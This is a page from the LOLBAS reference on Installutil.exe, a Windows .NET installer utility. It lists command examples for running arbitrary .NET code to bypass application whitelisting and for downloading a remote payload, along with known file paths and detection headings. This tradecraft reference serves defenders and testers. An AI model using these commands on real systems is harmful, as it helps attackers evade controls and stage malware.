LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Installutil.exe

View source

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

AWL BypassExecuteDownload
03COMMAND EXAMPLES
02ATT&CK TECHNIQUES
04DETECTION RESOURCES
03CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

AWL Bypass1

EXAMPLE 01T1218.004

Execute the target .NET DLL or EXE.

COMMAND
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}
USE CASE
Use to execute code and bypass application whitelisting
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DLL (.NET)Execute · EXE (.NET)

Execute1

EXAMPLE 01T1218.004

Execute the target .NET DLL or EXE.

COMMAND
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}
USE CASE
Use to execute code and bypass application whitelisting
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · DLL (.NET)Execute · EXE (.NET)

Download1

EXAMPLE 01T1105

It will download a remote payload and place it in INetCache.

COMMAND
InstallUtil.exe {REMOTEURL}
USE CASE
Downloads payload from remote server
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

4 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee
Nir Chako (Pentera)@C_h4ck_0